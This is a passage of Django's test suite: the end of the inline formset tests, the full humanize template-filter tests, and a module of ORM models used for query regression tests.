        poem = poet.poem_set.create(name='test poem')
        data = {
            'poem_set-TOTAL_FORMS': '1',
            'poem_set-INITIAL_FORMS': '1',
            'poem_set-MAX_NUM_FORMS': '0',
            'poem_set-0-id': str(poem.pk),
            'poem_set-0-poet': str(poet.pk),
            'poem_set-0-name': 'test',
            'poem_set-0-DELETE': 'on',
        }
        formset = PoemFormSet(data, instance=poet)
        formset.save()
        self.assertTrue(formset.is_valid())
        self.assertEqual(Poem.objects.count(), 0)

    def test_add_form_deletion_when_invalid(self):
        """
        Make sure that an add form that is filled out, but marked for deletion
        doesn't cause validation errors.
        """
        PoemFormSet = inlineformset_factory(Poet, Poem, can_delete=True, fields="__all__")
        poet = Poet.objects.create(name='test')
        data = {
            'poem_set-TOTAL_FORMS': '1',
            'poem_set-INITIAL_FORMS': '0',
            'poem_set-MAX_NUM_FORMS': '0',
            'poem_set-0-id': '',
            'poem_set-0-poem': '1',
            'poem_set-0-name': 'x' * 1000,
        }
        formset = PoemFormSet(data, instance=poet)
        # Make sure this form doesn't pass validation.
        self.assertIs(formset.is_valid(), False)
        self.assertEqual(Poem.objects.count(), 0)

        # Then make sure that it *does* pass validation and delete the object,
        # even though the data isn't actually valid.
        data['poem_set-0-DELETE'] = 'on'
        formset = PoemFormSet(data, instance=poet)
        self.assertIs(formset.is_valid(), True)
        formset.save()
        self.assertEqual(Poem.objects.count(), 0)

    def test_change_form_deletion_when_invalid(self):
        """
        Make sure that a change form that is filled out, but marked for deletion
        doesn't cause validation errors.
        """
        PoemFormSet = inlineformset_factory(Poet, Poem, can_delete=True, fields="__all__")
        poet = Poet.objects.create(name='test')
        poem = poet.poem_set.create(name='test poem')
        data = {
            'poem_set-TOTAL_FORMS': '1',
            'poem_set-INITIAL_FORMS': '1',
            'poem_set-MAX_NUM_FORMS': '0',
            'poem_set-0-id': six.text_type(poem.id),
            'poem_set-0-poem': six.text_type(poem.id),
            'poem_set-0-name': 'x' * 1000,
        }
        formset = PoemFormSet(data, instance=poet)
        # Make sure this form doesn't pass validation.
        self.assertIs(formset.is_valid(), False)
        self.assertEqual(Poem.objects.count(), 1)

        # Then make sure that it *does* pass validation and delete the object,
        # even though the data isn't actually valid.
        data['poem_set-0-DELETE'] = 'on'
        formset = PoemFormSet(data, instance=poet)
        self.assertIs(formset.is_valid(), True)
        formset.save()
        self.assertEqual(Poem.objects.count(), 0)

    def test_save_new(self):
        """
        Make sure inlineformsets respect commit=False
        regression for #10750
        """
        # exclude some required field from the forms
        ChildFormSet = inlineformset_factory(School, Child, exclude=['father', 'mother'])
        school = School.objects.create(name='test')
        mother = Parent.objects.create(name='mother')
        father = Parent.objects.create(name='father')
        data = {
            'child_set-TOTAL_FORMS': '1',
            'child_set-INITIAL_FORMS': '0',
            'child_set-MAX_NUM_FORMS': '0',
            'child_set-0-name': 'child',
        }
        formset = ChildFormSet(data, instance=school)
        self.assertIs(formset.is_valid(), True)
        objects = formset.save(commit=False)
        for obj in objects:
            obj.mother = mother
            obj.father = father
            obj.save()
        self.assertEqual(school.child_set.count(), 1)


class InlineFormsetFactoryTest(TestCase):
    def test_inline_formset_factory(self):
        """
        These should both work without a problem.
        """
        inlineformset_factory(Parent, Child, fk_name='mother', fields="__all__")
        inlineformset_factory(Parent, Child, fk_name='father', fields="__all__")

    def test_exception_on_unspecified_foreign_key(self):
        """
        Child has two ForeignKeys to Parent, so if we don't specify which one
        to use for the inline formset, we should get an exception.
        """
        msg = "'inline_formsets.Child' has more than one ForeignKey to 'inline_formsets.Parent'."
        with self.assertRaisesMessage(ValueError, msg):
            inlineformset_factory(Parent, Child)

    def test_fk_name_not_foreign_key_field_from_child(self):
        """
        If we specify fk_name, but it isn't a ForeignKey from the child model
        to the parent model, we should get an exception.
        """
        msg = "fk_name 'school' is not a ForeignKey to 'inline_formsets.Parent'."
        with self.assertRaisesMessage(ValueError, msg):
            inlineformset_factory(Parent, Child, fk_name='school')

    def test_non_foreign_key_field(self):
        """
        If the field specified in fk_name is not a ForeignKey, we should get an
        exception.
        """
        with self.assertRaisesMessage(ValueError, "'inline_formsets.Child' has no field named 'test'."):
            inlineformset_factory(Parent, Child, fk_name='test')

    def test_any_iterable_allowed_as_argument_to_exclude(self):
        # Regression test for #9171.
        inlineformset_factory(
            Parent, Child, exclude=['school'], fk_name='mother'
        )

        inlineformset_factory(
            Parent, Child, exclude=('school',), fk_name='mother'
        )

    @skipUnlessDBFeature('allows_auto_pk_0')
    def test_zero_primary_key(self):
        # Regression test for #21472
        poet = Poet.objects.create(id=0, name='test')
        poet.poem_set.create(name='test poem')
        PoemFormSet = inlineformset_factory(Poet, Poem, fields="__all__", extra=0)
        formset = PoemFormSet(None, instance=poet)
        self.assertEqual(len(formset.forms), 1)

    def test_unsaved_fk_validate_unique(self):
        poet = Poet(name='unsaved')
        PoemFormSet = inlineformset_factory(Poet, Poem, fields=['name'])
        data = {
            'poem_set-TOTAL_FORMS': '2',
            'poem_set-INITIAL_FORMS': '0',
            'poem_set-MAX_NUM_FORMS': '2',
            'poem_set-0-name': 'Poem',
            'poem_set-1-name': 'Poem',
        }
        formset = PoemFormSet(data, instance=poet)
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.non_form_errors(), ['Please correct the duplicate data for name.'])

    def test_fk_not_duplicated_in_form_fields(self):
        """
        A foreign key name isn't duplicated in form._meta fields (#21332).
        """
        poet = Poet.objects.create(name='test')
        poet.poem_set.create(name='first test poem')
        poet.poem_set.create(name='second test poem')
        poet.poem_set.create(name='third test poem')
        PoemFormSet = inlineformset_factory(Poet, Poem, fields=('name',), extra=0)
        formset = PoemFormSet(None, instance=poet)
        self.assertEqual(len(formset.forms), 3)
        self.assertEqual(['name', 'poet'], PoemFormSet.form._meta.fields)

    def test_fk_in_all_formset_forms(self):
        """
        A foreign key field is in Meta for all forms in the formset (#26538).
        """
        class PoemModelForm(ModelForm):
            def __init__(self, *args, **kwargs):
                assert 'poet' in self._meta.fields
                super(PoemModelForm, self).__init__(*args, **kwargs)

        poet = Poet.objects.create(name='test')
        poet.poem_set.create(name='first test poem')
        poet.poem_set.create(name='second test poem')
        PoemFormSet = inlineformset_factory(Poet, Poem, form=PoemModelForm, fields=('name',), extra=0)
        formset = PoemFormSet(None, instance=poet)
        formset.forms  # Trigger form instantiation to run the assert above.












from __future__ import unicode_literals

import datetime
from decimal import Decimal
from unittest import skipIf

from django.contrib.humanize.templatetags import humanize
from django.template import Context, Template, defaultfilters
from django.test import SimpleTestCase, modify_settings, override_settings
from django.utils import translation
from django.utils.html import escape
from django.utils.timezone import get_fixed_timezone, utc
from django.utils.translation import ugettext as _

try:
    import pytz
except ImportError:
    pytz = None


# Mock out datetime in some tests so they don't fail occasionally when they
# run too slow. Use a fixed datetime for datetime.now(). DST change in
# America/Chicago (the default time zone) happened on March 11th in 2012.

now = datetime.datetime(2012, 3, 9, 22, 30)


class MockDateTime(datetime.datetime):
    @classmethod
    def now(cls, tz=None):
        if tz is None or tz.utcoffset(now) is None:
            return now
        else:
            # equals now.replace(tzinfo=utc)
            return now.replace(tzinfo=tz) + tz.utcoffset(now)


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.humanize'})
class HumanizeTests(SimpleTestCase):

    def humanize_tester(self, test_list, result_list, method, normalize_result_func=escape):
        for test_content, result in zip(test_list, result_list):
            t = Template('{%% load humanize %%}{{ test_content|%s }}' % method)
            rendered = t.render(Context(locals())).strip()
            self.assertEqual(rendered, normalize_result_func(result),
                             msg="%s test failed, produced '%s', should've produced '%s'" % (method, rendered, result))

    def test_ordinal(self):
        test_list = ('1', '2', '3', '4', '11', '12',
                     '13', '101', '102', '103', '111',
                     'something else', None)
        result_list = ('1st', '2nd', '3rd', '4th', '11th',
                       '12th', '13th', '101st', '102nd', '103rd',
                       '111th', 'something else', None)

        with translation.override('en'):
            self.humanize_tester(test_list, result_list, 'ordinal')

    def test_i18n_html_ordinal(self):
        """Allow html in output on i18n strings"""
        test_list = ('1', '2', '3', '4', '11', '12',
                     '13', '101', '102', '103', '111',
                     'something else', None)
        result_list = ('1<sup>er</sup>', '2<sup>e</sup>', '3<sup>e</sup>', '4<sup>e</sup>',
                       '11<sup>e</sup>', '12<sup>e</sup>', '13<sup>e</sup>', '101<sup>er</sup>',
                       '102<sup>e</sup>', '103<sup>e</sup>', '111<sup>e</sup>', 'something else',
                       'None')

        with translation.override('fr-fr'):
            self.humanize_tester(test_list, result_list, 'ordinal', lambda x: x)

    def test_intcomma(self):
        test_list = (
            100, 1000, 10123, 10311, 1000000, 1234567.25, '100', '1000',
            '10123', '10311', '1000000', '1234567.1234567',
            Decimal('1234567.1234567'), None,
        )
        result_list = (
            '100', '1,000', '10,123', '10,311', '1,000,000', '1,234,567.25',
            '100', '1,000', '10,123', '10,311', '1,000,000', '1,234,567.1234567',
            '1,234,567.1234567', None,
        )
        with translation.override('en'):
            self.humanize_tester(test_list, result_list, 'intcomma')

    def test_l10n_intcomma(self):
        test_list = (
            100, 1000, 10123, 10311, 1000000, 1234567.25, '100', '1000',
            '10123', '10311', '1000000', '1234567.1234567',
            Decimal('1234567.1234567'), None,
        )
        result_list = (
            '100', '1,000', '10,123', '10,311', '1,000,000', '1,234,567.25',
            '100', '1,000', '10,123', '10,311', '1,000,000', '1,234,567.1234567',
            '1,234,567.1234567', None,
        )
        with self.settings(USE_L10N=True, USE_THOUSAND_SEPARATOR=False):
            with translation.override('en'):
                self.humanize_tester(test_list, result_list, 'intcomma')

    def test_intcomma_without_number_grouping(self):
        # Regression for #17414
        with translation.override('ja'), self.settings(USE_L10N=True):
            self.humanize_tester([100], ['100'], 'intcomma')

    def test_intword(self):
        test_list = (
            '100', '1000000', '1200000', '1290000', '1000000000', '2000000000',
            '6000000000000', '1300000000000000', '3500000000000000000000',
            '8100000000000000000000000000000000', None,
        )
        result_list = (
            '100', '1.0 million', '1.2 million', '1.3 million', '1.0 billion',
            '2.0 billion', '6.0 trillion', '1.3 quadrillion', '3.5 sextillion',
            '8.1 decillion', None,
        )
        with translation.override('en'):
            self.humanize_tester(test_list, result_list, 'intword')

    def test_i18n_intcomma(self):
        test_list = (100, 1000, 10123, 10311, 1000000, 1234567.25,
                     '100', '1000', '10123', '10311', '1000000', None)
        result_list = ('100', '1.000', '10.123', '10.311', '1.000.000', '1.234.567,25',
                       '100', '1.000', '10.123', '10.311', '1.000.000', None)
        with self.settings(USE_L10N=True, USE_THOUSAND_SEPARATOR=True):
            with translation.override('de'):
                self.humanize_tester(test_list, result_list, 'intcomma')

    def test_i18n_intword(self):
        test_list = (
            '100', '1000000', '1200000', '1290000', '1000000000', '2000000000',
            '6000000000000',
        )
        result_list = (
            '100', '1,0 Million', '1,2 Millionen', '1,3 Millionen',
            '1,0 Milliarde', '2,0 Milliarden', '6,0 Billionen',
        )
        with self.settings(USE_L10N=True, USE_THOUSAND_SEPARATOR=True):
            with translation.override('de'):
                self.humanize_tester(test_list, result_list, 'intword')

    def test_apnumber(self):
        test_list = [str(x) for x in range(1, 11)]
        test_list.append(None)
        result_list = ('one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', '10', None)
        with translation.override('en'):
            self.humanize_tester(test_list, result_list, 'apnumber')

    def test_naturalday(self):
        today = datetime.date.today()
        yesterday = today - datetime.timedelta(days=1)
        tomorrow = today + datetime.timedelta(days=1)
        someday = today - datetime.timedelta(days=10)
        notdate = "I'm not a date value"

        test_list = (today, yesterday, tomorrow, someday, notdate, None)
        someday_result = defaultfilters.date(someday)
        result_list = (_('today'), _('yesterday'), _('tomorrow'),
                       someday_result, "I'm not a date value", None)
        self.humanize_tester(test_list, result_list, 'naturalday')

    def test_naturalday_tz(self):
        today = datetime.date.today()
        tz_one = get_fixed_timezone(-720)
        tz_two = get_fixed_timezone(720)

        # Can be today or yesterday
        date_one = datetime.datetime(today.year, today.month, today.day, tzinfo=tz_one)
        naturalday_one = humanize.naturalday(date_one)
        # Can be today or tomorrow
        date_two = datetime.datetime(today.year, today.month, today.day, tzinfo=tz_two)
        naturalday_two = humanize.naturalday(date_two)

        # As 24h of difference they will never be the same
        self.assertNotEqual(naturalday_one, naturalday_two)

    @skipIf(pytz is None, "this test requires pytz")
    def test_naturalday_uses_localtime(self):
        # Regression for #18504
        # This is 2012-03-08HT19:30:00-06:00 in America/Chicago
        dt = datetime.datetime(2012, 3, 9, 1, 30, tzinfo=utc)

        orig_humanize_datetime, humanize.datetime = humanize.datetime, MockDateTime
        try:
            with override_settings(TIME_ZONE="America/Chicago", USE_TZ=True):
                with translation.override('en'):
                    self.humanize_tester([dt], ['yesterday'], 'naturalday')
        finally:
            humanize.datetime = orig_humanize_datetime

    def test_naturaltime(self):
        class naive(datetime.tzinfo):
            def utcoffset(self, dt):
                return None
        test_list = [
            now,
            now - datetime.timedelta(seconds=1),
            now - datetime.timedelta(seconds=30),
            now - datetime.timedelta(minutes=1, seconds=30),
            now - datetime.timedelta(minutes=2),
            now - datetime.timedelta(hours=1, minutes=30, seconds=30),
            now - datetime.timedelta(hours=23, minutes=50, seconds=50),
            now - datetime.timedelta(days=1),
            now - datetime.timedelta(days=500),
            now + datetime.timedelta(seconds=1),
            now + datetime.timedelta(seconds=30),
            now + datetime.timedelta(minutes=1, seconds=30),
            now + datetime.timedelta(minutes=2),
            now + datetime.timedelta(hours=1, minutes=30, seconds=30),
            now + datetime.timedelta(hours=23, minutes=50, seconds=50),
            now + datetime.timedelta(days=1),
            now + datetime.timedelta(days=2, hours=6),
            now + datetime.timedelta(days=500),
            now.replace(tzinfo=naive()),
            now.replace(tzinfo=utc),
        ]
        result_list = [
            'now',
            'a second ago',
            '30\xa0seconds ago',
            'a minute ago',
            '2\xa0minutes ago',
            'an hour ago',
            '23\xa0hours ago',
            '1\xa0day ago',
            '1\xa0year, 4\xa0months ago',
            'a second from now',
            '30\xa0seconds from now',
            'a minute from now',
            '2\xa0minutes from now',
            'an hour from now',
            '23\xa0hours from now',
            '1\xa0day from now',
            '2\xa0days, 6\xa0hours from now',
            '1\xa0year, 4\xa0months from now',
            'now',
            'now',
        ]
        # Because of the DST change, 2 days and 6 hours after the chosen
        # date in naive arithmetic is only 2 days and 5 hours after in
        # aware arithmetic.
        result_list_with_tz_support = result_list[:]
        assert result_list_with_tz_support[-4] == '2\xa0days, 6\xa0hours from now'
        result_list_with_tz_support[-4] == '2\xa0days, 5\xa0hours from now'

        orig_humanize_datetime, humanize.datetime = humanize.datetime, MockDateTime
        try:
            with translation.override('en'):
                self.humanize_tester(test_list, result_list, 'naturaltime')
                with override_settings(USE_TZ=True):
                    self.humanize_tester(
                        test_list, result_list_with_tz_support, 'naturaltime')
        finally:
            humanize.datetime = orig_humanize_datetime

    def test_naturaltime_as_documented(self):
        """
        #23340 -- Verify the documented behavior of humanize.naturaltime.
        """
        time_format = '%d %b %Y %H:%M:%S'
        documented_now = datetime.datetime.strptime('17 Feb 2007 16:30:00', time_format)

        test_data = (
            ('17 Feb 2007 16:30:00', 'now'),
            ('17 Feb 2007 16:29:31', '29 seconds ago'),
            ('17 Feb 2007 16:29:00', 'a minute ago'),
            ('17 Feb 2007 16:25:35', '4 minutes ago'),
            ('17 Feb 2007 15:30:29', '59 minutes ago'),
            ('17 Feb 2007 15:30:01', '59 minutes ago'),
            ('17 Feb 2007 15:30:00', 'an hour ago'),
            ('17 Feb 2007 13:31:29', '2 hours ago'),
            ('16 Feb 2007 13:31:29', '1 day, 2 hours ago'),
            ('16 Feb 2007 13:30:01', '1 day, 2 hours ago'),
            ('16 Feb 2007 13:30:00', '1 day, 3 hours ago'),
            ('17 Feb 2007 16:30:30', '30 seconds from now'),
            ('17 Feb 2007 16:30:29', '29 seconds from now'),
            ('17 Feb 2007 16:31:00', 'a minute from now'),
            ('17 Feb 2007 16:34:35', '4 minutes from now'),
            ('17 Feb 2007 17:30:29', 'an hour from now'),
            ('17 Feb 2007 18:31:29', '2 hours from now'),
            ('18 Feb 2007 16:31:29', '1 day from now'),
            ('26 Feb 2007 18:31:29', '1 week, 2 days from now'),
        )

        class DocumentedMockDateTime(datetime.datetime):
            @classmethod
            def now(cls, tz=None):
                if tz is None or tz.utcoffset(documented_now) is None:
                    return documented_now
                else:
                    return documented_now.replace(tzinfo=tz) + tz.utcoffset(now)

        orig_humanize_datetime = humanize.datetime
        humanize.datetime = DocumentedMockDateTime
        try:
            for test_time_string, expected_natural_time in test_data:
                test_time = datetime.datetime.strptime(test_time_string, time_format)
                natural_time = humanize.naturaltime(test_time).replace('\xa0', ' ')
                self.assertEqual(expected_natural_time, natural_time)
        finally:
            humanize.datetime = orig_humanize_datetime






"""
Various complex queries that have been problematic in the past.
"""
from __future__ import unicode_literals

import threading

from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


class DumbCategory(models.Model):
    pass


class ProxyCategory(DumbCategory):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class NamedCategory(DumbCategory):
    name = models.CharField(max_length=10)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Tag(models.Model):
    name = models.CharField(max_length=10)
    parent = models.ForeignKey(
        'self',
        models.SET_NULL,
        blank=True, null=True,
        related_name='children',
    )
    category = models.ForeignKey(NamedCategory, models.SET_NULL, null=True, default=None)

    class Meta:
        ordering = ['name']

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Note(models.Model):
    note = models.CharField(max_length=100)
    misc = models.CharField(max_length=10)
    tag = models.ForeignKey(Tag, models.SET_NULL, blank=True, null=True)

    class Meta:
        ordering = ['note']

    def __str__(self):
        return self.note

    def __init__(self, *args, **kwargs):
        super(Note, self).__init__(*args, **kwargs)
        # Regression for #13227 -- having an attribute that
        # is unpicklable doesn't stop you from cloning queries
        # that use objects of that type as an argument.
        self.lock = threading.Lock()


@python_2_unicode_compatible
class Annotation(models.Model):
    name = models.CharField(max_length=10)
    tag = models.ForeignKey(Tag, models.CASCADE)
    notes = models.ManyToManyField(Note)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class ExtraInfo(models.Model):
    info = models.CharField(max_length=100)
    note = models.ForeignKey(Note, models.CASCADE)
    value = models.IntegerField(null=True)

    class Meta:
        ordering = ['info']

    def __str__(self):
        return self.info


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=10)
    num = models.IntegerField(unique=True)
    extra = models.ForeignKey(ExtraInfo, models.CASCADE)

    class Meta:
        ordering = ['name']

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Item(models.Model):
    name = models.CharField(max_length=10)
    created = models.DateTimeField()
    modified = models.DateTimeField(blank=True, null=True)
    tags = models.ManyToManyField(Tag, blank=True)
    creator = models.ForeignKey(Author, models.CASCADE)
    note = models.ForeignKey(Note, models.CASCADE)

    class Meta:
        ordering = ['-note', 'name']

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Report(models.Model):
    name = models.CharField(max_length=10)
    creator = models.ForeignKey(Author, models.SET_NULL, to_field='num', null=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Ranking(models.Model):
    rank = models.IntegerField()
    author = models.ForeignKey(Author, models.CASCADE)

    class Meta:
        # A complex ordering specification. Should stress the system a bit.
        ordering = ('author__extra__note', 'author__name', 'rank')

    def __str__(self):
        return '%d: %s' % (self.rank, self.author.name)


@python_2_unicode_compatible
class Cover(models.Model):
    title = models.CharField(max_length=50)
    item = models.ForeignKey(Item, models.CASCADE)

    class Meta:
        ordering = ['item']

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Number(models.Model):
    num = models.IntegerField()

    def __str__(self):
        return six.text_type(self.num)

# Symmetrical m2m field with a normal field using the reverse accessor name
# ("valid").


class Valid(models.Model):
    valid = models.CharField(max_length=10)
    parent = models.ManyToManyField('self')

    class Meta:
        ordering = ['valid']

# Some funky cross-linked models for testing a couple of infinite recursion
# cases.


class X(models.Model):
    y = models.ForeignKey('Y', models.CASCADE)


class Y(models.Model):
    x1 = models.ForeignKey(X, models.CASCADE, related_name='y1')

# Some models with a cycle in the default ordering. This would be bad if we
# didn't catch the infinite loop.


class LoopX(models.Model):
    y = models.ForeignKey('LoopY', models.CASCADE)

    class Meta:
        ordering = ['y']


class LoopY(models.Model):
    x = models.ForeignKey(LoopX, models.CASCADE)

    class Meta:
        ordering = ['x']


class LoopZ(models.Model):
    z = models.ForeignKey('self', models.CASCADE)

    class Meta:
        ordering = ['z']


# A model and custom default manager combination.


class CustomManager(models.Manager):
    def get_queryset(self):
        qs = super(CustomManager, self).get_queryset()
        return qs.filter(public=True, tag__name='t1')


@python_2_unicode_compatible
class ManagedModel(models.Model):
    data = models.CharField(max_length=10)
    tag = models.ForeignKey(Tag, models.CASCADE)
    public = models.BooleanField(default=True)

    objects = CustomManager()
    normal_manager = models.Manager()

    def __str__(self):
        return self.data

# An inter-related setup with multiple paths from Child to Detail.


class Detail(models.Model):
    data = models.CharField(max_length=10)


class MemberManager(models.Manager):
    def get_queryset(self):
        return super(MemberManager, self).get_queryset().select_related("details")


class Member(models.Model):
    name = models.CharField(max_length=10)
    details = models.OneToOneField(Detail, models.CASCADE, primary_key=True)

    objects = MemberManager()


class Child(models.Model):
    person = models.OneToOneField(Member, models.CASCADE, primary_key=True)
    parent = models.ForeignKey(Member, models.CASCADE, related_name="children")

# Custom primary keys interfered with ordering in the past.


class CustomPk(models.Model):
    name = models.CharField(max_length=10, primary_key=True)
    extra = models.CharField(max_length=10)

    class Meta:
        ordering = ['name', 'extra']


class Related(models.Model):
    custom = models.ForeignKey(CustomPk, models.CASCADE, null=True)


class CustomPkTag(models.Model):
    id = models.CharField(max_length=20, primary_key=True)
    custom_pk = models.ManyToManyField(CustomPk)
    tag = models.CharField(max_length=20)

# An inter-related setup with a model subclass that has a nullable
# path to another model, and a return path from that model.


@python_2_unicode_compatible
class Celebrity(models.Model):
    name = models.CharField("Name", max_length=20)
    greatest_fan = models.ForeignKey("Fan", models.SET_NULL, null=True, unique=True)

    def __str__(self):
        return self.name


class TvChef(Celebrity):
    pass


class Fan(models.Model):
    fan_of = models.ForeignKey(Celebrity, models.CASCADE)

# Multiple foreign keys


@python_2_unicode_compatible
class LeafA(models.Model):
    data = models.CharField(max_length=10)

    def __str__(self):
        return self.data


class LeafB(models.Model):
    data = models.CharField(max_length=10)


class Join(models.Model):
    a = models.ForeignKey(LeafA, models.CASCADE)
    b = models.ForeignKey(LeafB, models.CASCADE)


@python_2_unicode_compatible
class ReservedName(models.Model):
    name = models.CharField(max_length=20)
    order = models.IntegerField()

    def __str__(self):
        return self.name

# A simpler shared-foreign-key setup that can expose some problems.


@python_2_unicode_compatible
class SharedConnection(models.Model):
    data = models.CharField(max_length=10)

    def __str__(self):
        return self.data


class PointerA(models.Model):
    connection = models.ForeignKey(SharedConnection, models.CASCADE)


class PointerB(models.Model):
    connection = models.ForeignKey(SharedConnection, models.CASCADE)

# Multi-layer ordering


@python_2_unicode_compatible
class SingleObject(models.Model):
    name = models.CharField(max_length=10)

    class Meta:
        ordering = ['name']

    def __str__(self):
        return self.name


class RelatedObject(models.Model):
    single = models.ForeignKey(SingleObject, models.SET_NULL, null=True)
    f = models.IntegerField(null=True)

    class Meta:
        ordering = ['single']


@python_2_unicode_compatible
class Plaything(models.Model):
    name = models.CharField(max_length=10)
    others = models.ForeignKey(RelatedObject, models.SET_NULL, null=True)

    class Meta:
        ordering = ['others']

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Article(models.Model):
    name = models.CharField(max_length=20)
    created = models.DateTimeField()

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Food(models.Model):
    name = models.CharField(max_length=20, unique=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Eaten(models.Model):
    food = models.ForeignKey(Food, models.SET_NULL, to_field="name", null=True)
    meal = models.CharField(max_length=20)

    def __str__(self):
        return "%s at %s" % (self.food, self.meal)


@python_2_unicode_compatible
class Node(models.Model):
    num = models.IntegerField(unique=True)
    parent = models.ForeignKey("self", models.SET_NULL, to_field="num", null=True)

    def __str__(self):
        return "%s" % self.num

# Bug #12252


@python_2_unicode_compatible
class ObjectA(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name

    def __iter__(self):
        # Ticket #23721
        assert False, 'type checking should happen without calling model __iter__'


class ProxyObjectA(ObjectA):
    class Meta:
        proxy = True


class ChildObjectA(ObjectA):
    pass


@python_2_unicode_compatible
class ObjectB(models.Model):
    name = models.CharField(max_length=50)
    objecta = models.ForeignKey(ObjectA, models.CASCADE)
    num = models.PositiveSmallIntegerField()

    def __str__(self):
        return self.name


class ProxyObjectB(ObjectB):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class ObjectC(models.Model):
    name = models.CharField(max_length=50)
    objecta = models.ForeignKey(ObjectA, models.SET_NULL, null=True)
    objectb = models.ForeignKey(ObjectB, models.SET_NULL, null=True)
    childobjecta = models.ForeignKey(ChildObjectA, models.SET_NULL, null=True, related_name='ca_pk')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class SimpleCategory(models.Model):
    name = models.CharField(max_length=15)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class SpecialCategory(SimpleCategory):
    special_name = models.CharField(max_length=15)

    def __str__(self):
        return self.name + " " + self.special_name


@python_2_unicode_compatible
class CategoryItem(models.Model):
    category = models.ForeignKey(SimpleCategory, models.CASCADE)

    def __str__(self):
        return "category item: " + str(self.category)


@python_2_unicode_compatible
class OneToOneCategory(models.Model):
    new_name = models.CharField(max_length=15)
    category = models.OneToOneField(SimpleCategory, models.CASCADE)

    def __str__(self):
        return "one2one " + self.new_name


class CategoryRelationship(models.Model):
    first = models.ForeignKey(SimpleCategory, models.CASCADE, related_name='first_rel')
    second = models.ForeignKey(SimpleCategory, models.CASCADE, related_name='second_rel')


class NullableName(models.Model):
    name = models.CharField(max_length=20, null=True)

    class Meta:
        ordering = ['id']


class ModelD(models.Model):
    name = models.TextField()


class ModelC(models.Model):
    name = models.TextField()


class ModelB(models.Model):
    name = models.TextField()
    c = models.ForeignKey(ModelC, models.CASCADE)


class ModelA(models.Model):
    name = models.TextField()
    b = models.ForeignKey(ModelB, models.SET_NULL, null=True)
    d = models.ForeignKey(ModelD, models.CASCADE)


@python_2_unicode_compatible
class Job(models.Model):
    name = models.CharField(max_length=20, unique=True)

    def __str__(self):
        return self.name


class JobResponsibilities(models.Model):
    job = models.ForeignKey(Job, models.SET_NULL, to_field='name')
    responsibility = models.ForeignKey('Responsibility', models.SET_NULL, to_field='description')


@python_2_unicode_compatible
class Responsibility(models.Model):
    description = models.CharField(max_length=20, unique=True)
    jobs = models.ManyToManyField(Job, through=JobResponsibilities,
                                  related_name='responsibilities')

    def __str__(self):
        return self.description

# Models for disjunction join promotion low level testing.


class FK1(models.Model):
    f1 = models.TextField()
    f2 = models.TextField()


class FK2(models.Model):
    f1 = models.TextField()
    f2 = models.TextField()


class FK3(models.Model):
    f1 = models.TextField()
    f2 = models.TextField()


class BaseA(models.Model):
    a = models.ForeignKey(FK1, models.SET_NULL, null=True)
    b = models.ForeignKey(FK2, models.SET_NULL, null=True)
    c = models.ForeignKey(FK3, models.SET_NULL, null=True)


@python_2_unicode_compatible
class Identifier(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


class Program(models.Model):
    identifier = models.OneToOneField(Identifier, models.CASCADE)


class Channel(models.Model):
    programs = models.ManyToManyField(Program)
    identifier = models.OneToOneField(Identifier, models.CASCADE)


class Book(models.Model):
    title = models.TextField()
    chapter = models.ForeignKey('Chapter', models.CASCADE)


class Chapter(models.Model):
    title = models.TextField()
    paragraph = models.ForeignKey('Paragraph', models.CASCADE)


class Paragraph(models.Model):
    text = models.TextField()
    page = models.ManyToManyField('Page')


class Page(models.Model):
    text = models.TextField()


class MyObject(models.Model):
    parent = models.ForeignKey('self', models.SET_NULL, null=True, blank=True, related_name='children')
    data = models.CharField(max_length=100)
    created_at = models.DateTimeField(auto_now_add=True)

# Models for #17600 regressions


@python_2_unicode_compatible
class Order(models.Model):
    id = models.IntegerField(primary_key=True)

    class Meta:
        ordering = ('pk', )

    def __str__(self):
        return '%s' % self.pk


@python_2_unicode_compatible
class OrderItem(models.Model):
    order = models.ForeignKey(Order, models.SET_NULL, related_name='items')
    status = models.IntegerField()

    class Meta:
        ordering = ('pk', )

    def __str__(self):
        return '%s' % self.pk


class BaseUser(models.Model):
    pass


@python_2_unicode_compatible
class Task(models.Model):
    title = models.CharField(max_length=10)
    owner = models.ForeignKey(BaseUser, models.SET_NULL, related_name='owner')
    creator = models.ForeignKey(BaseUser, models.SET_NULL, related_name='creator')

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Staff(models.Model):
    name = models.CharField(max_length=10)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class StaffUser(BaseUser):
    staff = models.OneToOneField(Staff, models.SET_NULL, related_name='user')

    def __str__(self):
        return self.staff


class Ticket21203Parent(models.Model):
    parentid = models.AutoField(primary_key=True)
    parent_bool = models.BooleanField(default=True)
    created = models.DateTimeField(auto_now=True)


class Ticket21203Child(models.Model):
    childid = models.AutoField(primary_key=True)
    parent = models.ForeignKey(Ticket21203Parent, models.CASCADE)


class Person(models.Model):
    name = models.CharField(max_length=128)


@python_2_unicode_compatible
class Company(models.Model):
    name = models.CharField(max_length=128)
    employees = models.ManyToManyField(Person, related_name='employers', through='Employment')

    def __str__(self):
        return self.name


class Employment(models.Model):
    employer = models.ForeignKey(Company, models.CASCADE)
    employee = models.ForeignKey(Person, models.CASCADE)
    title = models.CharField(max_length=128)


# Bug #22429

class School(models.Model):
    pass


class Student(models.Model):
    school = models.ForeignKey(School, models.CASCADE)


class Classroom(models.Model):
    school = models.ForeignKey(School, models.CASCADE)
